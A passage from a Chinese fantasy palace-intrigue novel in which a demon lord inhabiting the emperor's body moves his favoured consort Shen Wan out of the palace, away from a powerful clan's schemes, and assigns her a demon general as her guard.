魔情一对金瞳,目不转睛地盯着波动的苍溟镜,裂隙中步出两个魔将,其中一位手持战斧,待步入幽阁之内,他随手将战斧别在肩头。两位魔将在魔公子面前单膝跪下,魔情微微点了点头,他们才站起来,魔将高大,因身披战甲,显得更是雄壮。
幽阁里流动着魔语,向魔公子致敬,那带着战斧的,正是魔将饕餮,同苍白冷漠的山鬼比起来,他外貌英俊华丽,却又显得粗犷而野性,头生两对犄角,一对漆黑的向上生长,另一对犄角泛着暗红如同羚角,但极其粗硕,有着螺旋的纹路,向后延申,一头黑色长发蓬松,隐隐透着火焰之色。
才从魔域来到人间,还身着黑金的沉重战甲,肩甲有巨大的兽头雕刻,脸庞轮廓分明,下颌有着刚硬的线条,血红的双眸,显出几分贪婪的兽性。
另一侧的混沌,却是截然不同的形貌,一袭暗红的长袍,质感奇怪,仿佛如团云缝制,以金线绣出火焰般张扬的图案,他戴着风帽,胸前垂下银灰的长发,一条很宽的银色布带蒙住双眼,露出优雅俊美的下颌,手和脸颊的肤色都显得过于苍白。他身段颀长,却没有过分夸张的肌肉,而是有一种飘渺的感觉,人如其名,有种不在尘世的模糊感,像是随时要消散,又像是要把身边的一切吸进去,就像是一个泛着涟漪的水中倒影。
【两位同侪,多月不见,你等在人间过得如何?】
混沌并不张口说话,直接以意识与山鬼和莫耶交流。
“无趣。”魔女兴致缺缺地答:“但接下来,恐怕有好戏瞧,你等来得正是时候。”
“正合吾意。”饕餮的声音深沉浑厚,有着急不可耐的贪婪与野性蕴藏其中。
“时候差不多了,你们去吧。”魔情道。
“领令。”
山鬼和莫耶没有再多一句废话,身后的苍溟镜再次激烈地波动起来。山鬼把手放在胸前,躬身行了个礼,而漂浮在半空中的魔女衣装突然发生了改变,原本水色的飘忽衣袍颜色变深,甚至硬化,变成一副青铜色的贴身战铠,同时,一副火焰形状的头盔覆盖了美艳的脸庞。
两位魔将穿过苍溟镜中的魔界裂缝,身影消失在云雾中,裂缝再度闭合,镜子里云气滚动,再逐渐慢下来,恢复了最初朦胧飘渺的样子。
混沌初到人间,心中好奇,他的灵识强大,肉眼对他来说几乎没有意义,什么都能看得见,并有所感知。如今黎明将至,长庆宫大半地区还在睡眠之中,对混沌而言更是不设防,他的意识扩散到整个长庆宫,阅读所有人的思绪和行动,不一会儿问道:“公子的居所在宫城正北?”
“不错。”
“怪哉,越靠近帝王寝居的,越有不臣之心。”
“有意思吗?”
此时混沌平静的脸庞突然露出一抹玩味的微笑:“的确令人期待。”
他的意识掠过长宁宫,并评价道:“皇太后却是慈母之心。”
“显然。”
混沌沉吟,灵识继续在长庆宫铺展,探索,然后,他感觉到了令人他感到好奇的气息,越是与魔族有所关联,这种感觉就越是明显,在宫城西南的宫殿里,有个年轻女郎,散发出非常柔和的气息。她只是个寻常少女,但不知为何,她的存在令人在意,像幽暗森林中开出了一朵映着月光的花朵。
“有人牵挂着公子?”混沌的语气显得很诧异。
“牵挂?”
“长庆宫西南,有一女子……”
“怎么牵挂的?”他微微蹙眉问。
“女儿家的思念之情,虽然……其情尚浅。”
不必混沌再继续说下去,魔情就知道是谁了,但令他惊异的是,沈纨竟会牵挂他。然而,他始终与小皇帝的皮相与之相会,固然知道她天性温和体贴,但细究之下就不那么美妙了。毕竟曾经抄个佛经都险些超度他,她真的知道自己关心的人是谁吗?
“她身边之人可有歹意?”
混沌点了个名字。
魔情颌首,陷入沉思,自从御龙台遇刺事件后,皇帝身边的宫人被撤换了一轮,多年来兢兢业业的福锦姑姑,也以“身体不适”为由,让其“归乡疗养”,他身边伺候的宫女太监侍卫都换成了徐氏的耳目,原来棠华宫也没能幸免。
远处传来金鸡报晓之声,魔情留下饕餮混沌,离开了蓝月幽阁。
天色逐渐转明,棠华宫值夜的宫人打了个哈欠,就见天子从外面进来,嘴巴张开一半,好生尴尬,忙站起来请安,不料天子却突然发难,怪她礼数不周,如何能照料好沈婕妤,这宫人才调来棠华宫没两日,还带着徐氏指示的任务,要她将沈婕妤日常行事报告,岂料飞来横祸,因为一个呵欠,就被当今天子驱逐了。
旁的人不明白所以,都道皇帝喜怒无常,吓得话也不敢说。
沈纨意识朦胧,她昨夜睡得并不好,半夜甚至惊醒了一次,她陷入了颇骇人的梦境中,高耸的黑色山脉仿佛黑铁的森林拔地而起,熔岩像蛛网一样遍布地面,天空是红色的。面前的巨型岩架上看到两个高大的身影,其中一个身形壮硕,有如巨人,皮肤竟然是怪异的红色,他头上没有一根头发,相貌狞恶,看上去如同
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佛画所描绘的炼狱世界里的魔僧,他的手非常大,带着铁甲手套的包裹下,看起来有如狰狞的鬼爪。
在他的身旁,另有一个身穿黑银战甲,并带着兜帽的男子,有着不下于着血色皮肤魔人的高大身材,兜帽内一片漆黑混沌,像一团黑雾,使得他有一种亡灵的气质,仿佛周遭的光都被吸进去,气势丝毫不输一旁血色皮肤的男子。
那黑衣亡灵抬手轻触脸颊,从面上取下的那团像黑雾一样的东西,原来竟是一副漆黑的面具,并没有稳定的形状,在他指尖化作一团黑焰。面具之下,却有着她此生见过的最完美的相貌,由于他戴着兜帽,那副绝美相貌若隐若现,隐约可见一对金色双瞳,神态冷傲,他原本正在远观熔岩流淌的大地,后来似乎意识到什么,仿佛穿透了看不见的镜面,目光朝沈纨看过来,突然之间,梦境破碎了,她一下子睁开了眼睛。
天色已经蒙蒙亮,她有些恍然,不知身在何方,听得外间喧闹,不由撑起身来,而皇帝踏着晨光自外进来。
在那一瞬间,沈纨觉得似乎见到了梦中之人,但随着渐渐清醒,梦中所见的一切远去,最后就只是困惑地看着眼前人,觉得此景似曾相识。
“陛下怎么来了也不说一声?”
“没想吵醒你,就是来看看,你这几日过得如何?”
她坐起身来:“原就无事,但曹姑姑是个素来爱担心的人,自然在休息和膳食格外尽心。发生了何事,怎地外面如此喧哗?”
他坐在她床边:“那值夜宫女办事不周,我撵走了。”
“陛下说的,可是银铃?她也是近日才由尚仪局安排棠华宫当差,是个细心人儿,值夜本就辛苦,实在是罪不至此。”
“曹姑姑,来一下。”
方才天子无预兆雷霆之怒,曹柳玉心有余悸,进来恭声道:“陛下有何吩咐?”
“我对一些宫规的细枝末节不甚了解,若不敬主上,首鼠两端,里通外人,素来是如何处罚的?”
“回陛下,轻则仗责,重则逐出宫廷,若有不轨之行,危害主上,论死罪也是有的。”
“知道了,你去吧。”
“奴婢……告退。”曹柳玉摸不着头脑,行礼退下、
“那女子是徐氏的眼线,你是要她死呢?还是要她滚?”
“陛下此言当真?”
“这还能有假的骗你吗?”
坠崖之后,狐狸客栈的奇遇冲淡了她对时局的担忧,没想到她宫中竟然出了眼线,天子的遇刺的阴霾再度袭来。
“那……陛下的徽元殿,如今可还安全?”
是个天性体贴的姑娘,虽说魔族冷情,他承认,有一点点被触动,她浓睡方醒,青丝散落肩头,魔情伸出手来,替她理了理肩头的乌发。才从绣榻上起来,不过一件丝绸单衣,裹着柔软、莹玉般的身体,他挨得亦近,沈纨如何能不察觉到他眼神的变化,默默红了面颊,她的确生得美丽,不仅是那副脸庞,老天待她不薄。
他似乎意识到什么,迅速收回了手,方才的片刻旖旎也立刻消退了。沈纨冷静下来,感觉面颊还有些隐隐发烫,陛下若即若离,实在是君心难测,他的亲近让她紧张,但拉开距离,又不免有些怅然,女儿家的小心思,天子并不欲亲近她,也许是不喜欢她,或者是她魅力不够,又或者,他别有钟情之人呢?
魔情也有些着恼,他这皮相不是真的,但言行、表情、眼神却做不得假,但她若是对萧誉动情还了得,总归不是一个世界的人,罢了。
19. 千秋宴
自棠华宫清晨一会,天子撵了她宫中的世家眼线,又是十数日过去,朝堂的若干大事也渐渐传到后宫来,徐敦得了开府仪同三司的尊荣,府第仪仗比肩三司,并得开府置官署,独立处理军机与政务。
随着徐氏权势进一步膨胀,长女徐兰宁入主中宫之事,至此也尘埃落定。
宫里要有皇后了。
沈景身为礼部郎中,全程参与大婚章程的制定,爱女入宫得突兀,起初在京城引起不小的风波,但半年来,沈纨身为天子纳入后宫唯一的女子,却也成了一段佳话。不过数月来,宫里却诸事连发,先是传出她怀有身孕,又因大闹宫闱被禁足,未几天子遇刺,连着她也一同坠崖,死里逃生归来,又落了胎,他和姜夫人在宫外听闻,如何能不焦心。如今作为礼部官员,要为女儿的夫君筹备正妻的婚礼,他面上不显山露水,实则内心哀叹,宫门深似海,虽有帝宠,但着实不是个好去处。
他少年高中探花,曾任秘书监著作郎,辅佐当时的帝师叶临修编国史,熟读经史,如何不明白如今的处境,如今皇权旁落,权柄为世家拿捏,连天子都自身难保,几时徐氏真正露出獠牙,江山将有换主之危。女儿年纪尚轻,又生得貌美,陷于深宫,若社稷倾危,命运将更为多舛,这么一想,更是忧虑,不禁深深地叹了口气。
有仆役自外进来更换炭火,又奉了茶过来,一旁的何令史把一碟瓜果推过来,亦劝道:“沈郎中若是累了,不如歇一歇,天家大婚是喜事,可得开开心心的。”
沈景勉力一笑,听懂了同侪的暗示。
重阳后是千秋宴,太后谢明璋生日,她少年入宫,早早诞育当今圣上,如今也才三十有七。皇太后在凤凰台接受朝贺,徐敦带领文武百官,魏国夫人带领外命妇,徐家的男丁女眷皆位前列,向太后贺寿。
官员向太后进献礼物,徐敦献了一对金玉如意,而魏国夫人献了一尊象牙雕的群仙贺寿摆件,雕刻的天宫仿造长庆宫中的紫宸殿。紫宸殿历来是帝后大婚的场所,当皇后怀上皇嗣,也会入住此处养胎生产。谢太后入宫不久就立刻有孕,直到天子五岁后迁入东宫,一直都住在此间,因此寓意不凡。
雕刻的工艺也颇具巧思,殿前有一对少年男女,少女手捧人参娃娃,少年举着蟠桃,女戴凤钗,男戴金龙冠,魏国夫人在订做此物时,还存了点私心,这象牙雕的少年神似当今天子,而少女却像徐兰宁。
沈纨也盛装站在天子身后,容貌端丽,很是出挑。她在人群中看到父亲和母亲,双亲也回望她,虽然隔得远,看得出来他们心中记挂。入宫才半年,恍如隔世,她内心伤感,移开目光,发觉徐家女郎也在抬首看着她,神色复杂,徐兰宁发现沈纨看过来,傲气地一扬下巴,别开了头。就在这时,司礼官令百官和命妇再次跪拜,徐兰宁不得不垂首,同母亲一同跪了下去。
“怎么了?”天子见她愣神,转头问道。
“没什么,妾还是头一次参加这么大的宫宴,感到新奇罢了。”
"走吧。"天子领她一同入了席。
千秋宫宴直到深夜才结束,天子与沈纨一同送太后返回长秋宫,路过紫宸殿,此时殿内依旧灯火辉煌,一众宫人仍在里面清扫尘埃,挂上装饰,以备天子大婚。
谢太后突然叫停了软轿,天子与沈纨一同送太后回宫,此时也都停了下来。天子掀起轿帘,不解道:“母后,发生了何事?”
谢后却下了轿子,对他们说道:“你们陪孤进去看看。”
紫宸殿是当今天子出生和幼年成长的居所,虽然正为来年的大婚做着准备,眼下依然还留存着天子幼时的若干生活痕迹,例如周岁时抓周的物件。
谢太后进殿后问道:“誉儿,你可还记得自己周岁时抓了什么?”
魔情已经习惯于应付这些他不了解的问题,不是反问就是装傻,他选择了反问:“母亲可还记得朕当初抓了什么?”
太后掀开一个匣子,从里面取出一物。
是一片金红的,火焰般的羽毛。
“凤凰羽。”谢太后道:“彼时抓周的物件里有不少奇物,玉龙麟,玄武甲,麒麟牙和凤凰羽,你独取凤凰,你两度逢凶化吉,想必也有些福缘在里头。”
谢太后絮絮而谈,对天子说话的语气,一如普通的民间母子,“你大婚后,这些旧物也不宜再留在紫宸殿中,你带回帝寝去吧,就当留个念想,说不定也会是个保护。”
“多谢母后。”魔情心中为太后遗憾,她的爱子可是真的不在人世了。而这凤凰羽,也不过是个工艺精致的造物,上面隐隐感到有残留的气息,想来当年应该经过道门或佛门中人的祝福加持。
角落另有个木雕摆件,和紫宸殿内各色精致贵气的物件不同,做工不是很精细,但看起来圆滚滚呈葫芦状,很是可爱。
谢太后拿起那个木雕葫芦小人,手指轻轻摩挲着略显粗糙的表面,神情有一丝怀念,然后她转身道:“沈婕妤,你把这个带回去吧。”
“谢过娘娘。”沈纨接了葫芦小人,但依旧疑惑,这木雕的做工有些粗糙,看着却又说不上来的眼熟,她仔细端详着小人,“这是……?”
“这便是孤当年求得的人参娃娃,孤入宫前一年,正逢中元节的庙会,在花神院求来的,本想向花神娘娘求个平安,彼时孤尚未出阁,只知花神娘娘护佑女子。那时也不懂,后来才知晓,人参娃娃已成了女子求子的福物。”
沈纨红了面颊,太后的用意,她如何能不知道,她忙躬身谢恩。
“你宫里是不是也有一个?入宫前,你母亲也为你求得了今年最后一个人参娃娃,这下可就有了一对了。”
太后听了,感慨道:“其实此物在当年,的确是护持少女和年轻夫妻的,刚成婚的新人来求,的确是成对儿的
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,后来才有了求子求女的吉祥寓意,今日也算凑巧,你带回棠华宫吧。你才入宫半年,说你是新妇,也不算过分。”
其实她和天子的关系微妙得很,但太后却真是好意待她,沈纨再次谢恩。
“那上面是什么?”魔情注意到人参娃娃上面有个凹陷。
“孤入宫前曾去花神院祭拜,求来此物,只是收藏得不妥当,后来也不知道被遗落在谢府何处,没想到很快就有了你,母亲觉得此物灵验,几乎把谢府翻了过来才寻回此物,送进宫来,只可惜在那时已磕了一个瑕疵。”
沈纨想起前事,突然有些愧疚,当初她在太后宴请魏国夫人和徐家女郎时大闹,此事其实颇伤谢太后的脸面,她忙在旁道:“娘娘厚爱,妾感激不尽,当初大闹宫宴,伤及天家颜面,妾身惭愧。”
“你年少入宫,孤念及宫中只有你一个,平素也不拘着你,但天子大婚后,断不能再如此轻狂,当谨言慎行,你可明白?”
“是,妾身谨记娘娘教诲。”
“时候也不早,孤乏了,回宫去吧。”
沈纨与天子共同送谢太后回了长宁宫,她今日有幸参与千秋宴,目睹了盛大的场面,都没有方才在紫宸殿内听闻太后一席话来得震撼。
徐兰宁入宫在即,谢太后却如此表态,似是默默地表达了她的祝福和些许抗议。
离开长宁宫前她喊住了天子:“陛下。”
“怎么?”他微笑转过身来:“要朕送你回去?”
“不是那个意思。”沈纨摇头,但欲言又止。
天子看着她,转头吩咐道:“摆驾送沈婕妤回宫。”然后他拉着沈纨上了自己的轿子。
帘子隔开了四周的耳目,沈纨才小声道:“陛下,妾现在有点怕。”
“没什么好怕的。”他心领神会地答,然后又补上一句:“太后也会没事的,你放心好了。”
好歹也母子一场,他现在只担心一件事,就是权柄在握的世家不够坏,虽然御龙台的行刺让他们短暂地亮出了獠牙,但还不够,如果沈纨知道他们未来有可能面临怎样的收割,说不定她会更怕。
他们在棠华宫前分别,天子还把手放在她脸颊上,低头看了看她,不知为何,她觉得他不但一点都不慌,甚至还显得有些兴奋,如今危机四伏,这是什么值得期待的事吗?
她和天子共同的经历有些颇为异常,在这样下去,她都要怀疑,身边的郎君是不是人了。眼下忧愁无用,也只是平添烦恼,她转身进了棠华宫,把太后给的人参娃娃同母亲求来的放在一处,两个圆胖可爱的葫芦状小人像不倒翁一般,摇摇晃晃,然后脑袋挨在一起。
母亲的用心和太后的期待她都明白,心中甚为感激,不过她们的期许与她的现状颇有落差,身边的皇帝陛下性情神秘,难以捉摸,他们的关系,怕是还没这两只脑袋挨在一起的葫芦小人亲密。
20. 小上元
千秋宴的第二日,紫宸殿就走了水,天干物燥,宫室烧掉三分之一,这本就是帝后大婚,以及新婚后一年居住的宫殿,这样一来,原定的开春之后大婚的日子,就耽搁了下来。
之后司天台又看了日子,认为天子本就在今年开春时重伤过,又在相近的时间成亲,日子不吉,但上半年已无合适的吉日,遂建议推迟到秋天。
大婚之期被耽搁,亲眷上门拜访,宽慰徐家女郎,但依旧引起了魏国夫人不悦,私下与徐敦争执,天子的生辰在来年开春,因春猎受伤而错过了庆典。万寿节的仪式自然比太后的千秋宴更为盛大,“吾女贵为未来皇后,岂能再向那沈家丫头下拜。”魏国夫人如此道。
不日后宫中再下旨意,因天子后宫空虚,徐家女郎贤德貌美,正值韶华,且父兄为朝廷立下汗马功劳,因此召其入宫,册为贵妃。
中书省甚至未过问天子,自行拟好诏书,送到御前,让天子“过目”。
魔情瞟了一眼诏书,未发一言,拿起玉玺,将皇印盖了上去。
于是,天下兵马大元帅,魏公之女徐兰宁,在重阳节之后迅速入宫,入住距离徽元殿最近的昭阳宫,成为尊贵徐贵妃,因太后精神不济,徐妃也肩负起代替太后协理后宫庶务的职责。
虽不是帝后大婚,但册封贵妃的排场也远远超出了礼制的规定,极尽奢华,昭阳宫的热闹显得棠华宫萧疏冷落。曹柳玉正告过宫中的众人,仔细情绪,断不可愁云惨雾的,叫婕妤看了难受。
今日是九月十五,园中的桂花自六月异常地盛开,很快又凋落,到了八月再开,至今仍在盛花期,香气馥郁,她与曹姑姑等人在园中收集花瓣,晾在园中,晒干的花瓣拿来做香囊或茶点都是极好的。
蒹葭白露闷头干活儿,一声不吭,她们与沈纨相伴多年,情绪的低落如何能看不出,她反倒不如这两个丫头难过,而是有种说不上来的情绪,皆因天子对她若即若离,奇遇不断,她实在是想不出,他和其他的女郎会如何相处。
园中秋风起,吹起园中一地的碎金,两个丫头把晒干的花瓣拿进屋子里,曹姑姑见风大了,也转入殿内,为婕妤取一件披风。
一时间园中静寂无人,沈纨忽觉有人把手放在她肩头,她抬起头来,震惊道:“陛下?!陛下怎会在此?”
“想出宫玩吗?”
“这个时候出宫?”
“就是这个时候才有趣。”
“贵妃娘娘呢?”
“她?册封大典累了一日,早就睡着了。”
方才在徽元殿内,发生了些不寻常之事,还有些不好言说。
他夺舍小皇帝,魔魂与人族肉身并不怎么兼容,他不能用萧誉的肉身去亲近女人,而魔魂介于虚实之间,寻常女子,无人承受得起,所以谁来都没用。
徽元殿的宫人将细意梳妆过的徐贵妃送入徽元殿,今夜将与天子共度良宵,但徐兰宁一踏足帝寝魔情就察觉不对劲,待众人退下,魔情抱着手站在床前问她:
“你来做什么?”
“妾身心悦陛下,为此,夜夜都在向花神娘娘祈祷。”徐妃声音古怪,鬼气森森,闻之可怖。
是魔情熟悉的语气,虽然仅见过一面,魔情已认了出来。
梅妃。
徐兰宁此刻神色狰狞,如厉鬼一般,寻常人若看到她现在的模样,早吓得魂飞魄散了,但魔情却无动于衷道:“你怎么还不走?滞留人间,对你百害而无一利,再贻害世间,将堕入幽冥,你可知这会付出什么代价?”
她含冤而死,心结始终未解,陷于后宫,成为恶灵,此前屡屡针对萧家的后代及其妃妾,但徐兰宁才入宫未久,不知为何又遭到她所附体。
“我可要说清楚,徐贵妃并非朕宠姬,你魇她无用。”
“徐家女是敬元皇后族亲,百年之后徐氏依然坐享荣华,我心不平。”
“敬元皇后?”魔情突然想起沈纨当初提及的太宗皇后假孕的旧事,此事流传民间,但史书为她的行为遮掩,并不曾道出她曾指使宫人挖出梅妃腹中之子。
“敬元皇后姓徐?”
被附体的徐兰宁悲切地点点头。
徐氏这积年的宿业还颇复杂。
“你欲待如何?要害她性命?”
徐兰宁阴森惨笑:“这样的人家,福祸自招,她若非入宫企图心太甚,夙夜祈祷,轻许承诺,又不惜代价,也不会轻易与我做了交易,叫人占了身体。”
梅妃修为有限,由于含冤,已入邪道,变成魍魉一类的妖邪,这类邪灵修为低微,觊觎人身,人活一世也是修行,如不能心持正念,极易因贪欲将自身的心智交换出去。
“陛下何须烦忧,你我目的殊途同归,至于这徐家女,陛下不如去查查,如今御膳房正在准备什么。”
梅妃说完这些,就不再言语,徐兰宁倒在床上,如昏迷了一般。
他不用查,混沌起身早就告诉他徐氏想对沈纨做什么,他想了想,身形幻化,消失在徽元殿中。
如今天子御殿之内,正是红烛高照之时,天子却突然出现,说要带她外出,“好了,就当陪朕出宫一趟,至于你心中疑惑,未来有机会再言明不迟。。”
“等……等一下,好歹和曹姑姑说一声,否则又要引起一场大乱。”
说得有理,毕竟徽元殿那些眼线如今还以为天子和徐贵妃正在共寝,但棠华宫突然不见了个沈婕妤,又得引出许多麻烦。
曹柳玉见到天子,惊吓不小,但不敢违抗皇命,只能赶紧去通知蒹葭白露,做出沈婕妤已经安寝的布置,令二人在卧房外值夜。
天子领着沈纨出棠华宫,至四下无人之境,他一把揽过她的腰真,足尖点地带着她跃起,他轻功过人,真就如会飞一般,消失在夜色中。
途径御花园,因附近有巡夜的宫人提灯走过,他们隐藏在假山和花丛之后,待人远离,才猫着腰出来,魔情躲了半天,才想起自己可以用障眼法,刚要施展,却听沈纨突然笑道:
“简直像妾小时候和族中亲戚玩捉迷藏似的。”
转眼间二人越过宫墙,稳稳地落在了长庆宫之外的山岗上。
九月十五在京城有个金谷灯会,庆贺丰收佳节,并祈愿来年风调雨顺,放灯三日,并取消宵禁,允许百姓通宵庆贺,每逢此节,东西两市客商云集,码头尤其热闹,从其他州府的商人泛舟而来,满载谷物和过冬的衣食用物,能买到平日没有的好东西。其热闹仅次上元节,又被百姓称为“小上元”,沈纨站在山岗上,举目望向京
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城,见到满城辉煌的灯火,映得她眸光发亮。
他们一同下了山。
城内布满了各式各样的花灯,东西两市竖起璀璨灯树,虽然不如上元节时宫里放出的灯树那般高大辉煌,但也光华夺目,哪怕是在远方也清晰可见,街头有百戏杂耍,一些酒楼之上,还能看到胡姬在楼台上跳舞。庙宇里香火鼎盛,哪怕是入夜了都有百姓前往烧香祈愿。
因城内有河流贯通南北,河面上飘着花灯,画舫彩灯高悬,笙箫阵阵,街头支起食摊,小贩在街头兜售烤饼与羊肉汤,以及各色京城及外乡的吃食,有五谷粥、野菜粥、时令之下的桂花粥、桂花饼,还有烤羊肉,一旁便是满载香料叫卖的客商,香气四溢,瞧着非常诱人,沈纨不知陛下带她出来做什么,但身无长物,两个人孤身外出,多半没有带钱,遗憾地叹了口气。
天子在旁瞧她一眼道:“不忙,以后多得是机会。”
他带着沈纨继续向前,远处河畔在此时飞起大量孔明灯,点燃夜空,像一条蜿蜒的星河,流向天际。
他们默默站着看了一会儿,沈纨突然有些触动,拉住了天子的手,他们此前几次亲近,皆非出自真心,不是误会,就是一时权宜,此次却是她头一次主动,但她随后反应过来,赶紧松开,却被他猛地回握,并与她十指相扣。
人声鼎沸,众人都在抬首观灯,他突然轻轻地叹了口气:“如月……你当真我是谁吗?”
真是奇了,亲近时疏远,疏远时又亲近,现在尴尬地僵着,今天按说可是陛下的大喜之日,却深夜领她出来,这又是做什么呢?
他不再放开她的手,拉着她穿过热闹的市坊,来到了一处相对清净的民巷,面前的宅子小具规模,却显得有些破败,左右栽两棵银杏树,时值仲秋,扇形的叶片如金色薄片,密密层层铺满枝头,此时万家灯火,映得叶片满目金黄。砖石古旧,墙壁斑驳,屋檐是灰扑扑的瓦片,门上悬挂的灯笼业已褪色,这民宅看上去无人居住,荒废得有些年头了,贩夫走卒路过,都不会耗费心神多看一眼。
魔情推开那破败的木门,拉着沈纨走了进去。
没想到,内中别有洞天,是间漂亮清爽的四进民宅,旁边放着香炉,白烟袅袅,燃着清爽的菊花香,绕过影壁,正院里烛火通明,从内中走出来两个人。
沈纨一见来人,当即涌出泪来,三步并两步跑上去,抱住了父亲和母亲,沈景拍着女儿的背安抚,而姜鸾音就不见女儿,双眸含泪,一家三口抱在一起,过了好一会儿,沈纨和姜夫人才平复过来。
这时,从正院内走出了福锦姑姑,帝寝遣散旧宫人之后,她被送出宫去,不知所踪,没想到竟然也在此间。
沈景道:“我们得福锦姑姑的消息,今夜在此地等候,万万没想到,竟能在这里见到你。”
“这都要感谢……咦?”沈纨回过头去,却不见天子,他在这时,才悄然从外面踱进院中。
沈景和姜夫人震惊不已,随即明白了是天子的安排,双双上前来行礼。
“奴婢出宫之后,就被陛下安排来到了此间。”福锦站在正院前,含笑说道。
“好了都起来吧,这里不是说话的地方,都进去再说,如今对令爱,朕别有安排,亦需你们夫妇知晓。”
21. 混沌
沈景告知女儿,福锦在出宫后就设法联系上了他们夫妻,几日前突然造访沈府,要他们在金谷灯会之时,来此民宅一叙。夫妇二人知晓福锦曾是帝寝的女官,不敢怠慢,他们通过隐蔽的方式前来,没想到在上元节见到了女儿。
天子宣布了一件出人意表之事:“今夜之后朕会下旨送你出宫,宫中现在不太安全了。”沈纨正待说什么,他手放在她肩膀,安抚道:“也不是从此见不到了,但你必须离宫一阵子,从今日起,你想吃烤饼就去吃烤饼,想喝羊肉汤就喝羊肉汤,还能时常见到父母,且避开宫中乱局,这样更好。”
沈景出言道:“皇上,京城近日颇不太平,京城近期发生连环命案,此獠专袭击女子,遇害者无不凄惨,迄今尚未落网。”
“会有人来保护她,不会让令嫒横遭灾祸,只是朕的护卫与常人不同,你等明日自会知晓,未来令爱若回府上探亲,护卫也将一路随行保护。”
天子令出如山,沈纨满心疑惑,却也只能接受,沈氏夫妇内心喜忧参半,但女儿在宫外,却多了重聚天伦的机会,有此方便,内心也不由期待起来。
时光有限,沈纨与双亲倾诉了些近况,子时后依旧和天子折返宫城。而金谷节之后,徐贵妃身体忽感不适,司天台算出来,是因属相冲撞,细究起来,乃是沈婕妤冲撞了徐妃,于是天家下旨,将沈婕妤送出宫城。于是,京城第一美人与天子的一段因缘际会的佳话,不到半年就草草落幕,败给世家权柄,画上了个并不完满的句点。
蒹葭白露当年与她一道进宫,如今又一起陪她出宫,白露最初几天泪汪汪的,比沈纨看着悲切得多,毕竟一个天家的宠姬被送出宫廷,比深宫失宠听上去还失颜面,她为沈纨气不过,为此忧愁了好些天,沈纨心知肚明,又不好劝她。棠华宫可不是近期进了徐氏眼线这么简单,徐贵妃入宫后,魏国夫人指使尚食局,在她的日常膳食里下毒,虑及宫里氛围愈加险恶,她需要离开,以避世家锋芒。
这固然是有些失面子,显得身边萧瑟寥落,太监来宣旨时,目光都带着些许同情。但她内心平静,陛下有言,平时对她并不拘束,可以在京城随便逛。虽然不能像父亲当年,曾游历多处,但一想到将来甚至还有机会回清泉山去探望师父,或节庆时,外出逛市集,或前往京郊远游,心绪竟然稍稍轻快起来,一些烦忧都被她暂时搁下了。
今日是出宫之日,沈纨坐在马车里,微微掀开帘子一角,见街上车水马龙,市井繁华,本以为此生应永别的人间烟火再度出现在身边,莫名地竟然心绪也疏阔了许多。
马车停在银杏居外,白露看着那不起眼的残破门扉,一副愁云惨雾状,等进了门,却发现里面别有洞天,惊诧之余,也在好奇地四处张望。
“早和你说了,没那么糟,别哭啦。”倒要沈纨宽慰她。
她突然顿住脚步,天子负手站在院中,向她们转过身来。
刚才还在劝慰别人别哭来着,沈纨看到天子,突然间鼻酸,几步跑上前去,抱住了天子,脸埋在他怀里。
福锦从身后的正厅踏出,正想向沈婕妤请安,见到院子里的场面,识趣地退了回去,身后的两个丫头也很有眼色,懂事地退了出去,一边一个站在影壁另一头,打着眉眼官司。
他对以萧誉的身份亲近她有所保留,但这次也有点被触动,抬手回抱她:“不是说过的,并不是不再见了,怎么还这般激动?”
“陛下的语气甚是轻巧,当真无事吗?”
“至少你在宫外朕会更放心些。”
“那么陛下在宫里呢?”
“怎么?关心朕吗?”
“这是当然的。”
“放心吧。”他叹道,“我看,那些家伙,说不定现在反而毕竟害怕才是。”
他语焉不详,听着不易令人信服,不过此言也不算虚言安慰,只是并非沈纨所理解的,他在宫里如何弹压世家。而是,由于梅妃怨怼难消,如今化为恶灵,附在徐妃身上,白天还尚可,一旦入夜,梅妃就会自徐兰宁体内醒来,致使她无论居于何地,都会变得鬼气森森。
徐氏急于要一个有自家血脉的皇嗣,恨不得贵妃夜夜同天子共寝共寝,但徐妃即使身入帝寝,每到夜晚,殿内总会变得阴气袭人,把徐敦安排的众多眼线给吓得魂飞魄散,值夜时无不战战兢兢,盯梢也就越发不严密。
梅妃很忌惮魔公子,不敢生事,魔情也懒得管她,有时闲极无聊,会问一两句往昔之事,或是她在幽冥中的经历,梅妃殁前被剪了舌头,回应他也如鬼哭似的,能听得懂,就是这凄怆的异声在午夜似有似无地回荡,几乎把值夜的宫人吓破了胆,天子身边的宫人早就换了一批,可信赖的被悉数遣散。撤换,如今多为服从于徐敦的耳目,本就心术不正,能吓他们一吓正好。
魔情越是了解,越是对萧门和徐氏都无好印象,天家子嗣不丰,徐氏业障随身,都是自招的。
影壁另一头,两个婢女尚静候在外,白露对蒹葭做着口型:“里面怎么样了?”
蒹葭大着胆子,探身向内瞧了一眼,就见到天子依旧搂着沈婕妤,一副耳鬓厮磨之态,她忙缩回来,摇了摇头。
魔情在她耳边道:“过两日会有朕的护卫来见你,他与常人不同,无需见怪,为人足可信赖,你平日出行带着他,必不会遇到危险。从今日开始,你若想念你爹娘,去见他们再无阻碍,若想不引人注意,福锦会告诉你法子。”
他说完这些,才放开沈纨道:“朕该走了。”
沈纨拉住他的手:“陛下,在宫里万事多保重。”
他回报一笑,安抚地拍了拍她的肩膀。
此后几日,沈纨都留在这银杏居中,打理她的新家,银杏居人数不多,除了两个做杂活的家仆和一个厨娘平素歇在最外间的别院,平日里只有蒹葭白露和福锦相伴,蒹葭白露几乎可以算是和沈纨一起长大的,而福锦姑姑和善心细,气氛比往日在深宫之中,轻松融洽了许多。
入住银杏居的第三日清晨,她终于见到了天子所说的神秘侍卫。她晨起才梳妆完毕,发现院中有来客,出来时,发现福锦在院中,身边站着一个高大的护卫。
他相貌殊异,一头银灰色的长发,作武官打扮,外穿一件有兜帽的短袍,令沈纨惊讶的是,他似乎也目盲,一条很宽的蒙眼带覆住双目。当初天子失明数月,但修为依然不俗,平日也并不太影响起居,如今派来保护她的侍卫竟也如此,他气质飘渺,观其
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相貌应当不俗,就是给人感觉如云雾一般。
他似乎感觉到了沈纨的到来,转头道:“见过沈姑娘,吾便是陛下派来的侍卫,从今往后,将会护佑姑娘出行。”
福锦在旁说道:“郎君当放尊重些,婕妤娘子如今仍是天子嫔御,礼数不可废,哪怕是今后在外,称呼也当恭敬些,不可僭越。”
“是吾失察了,吾虽听命陛下,但长期不在宫中,不识礼数,对不住。”
“无妨,公子如何称呼。”
“娘子可称吾为混沌。”
“混沌?”沈纨诧异地重复了一遍,内心纳闷,怎会叫这样的名字?
“娘子亦可赐名,不过就是个称谓,捡合适的唤便是。”
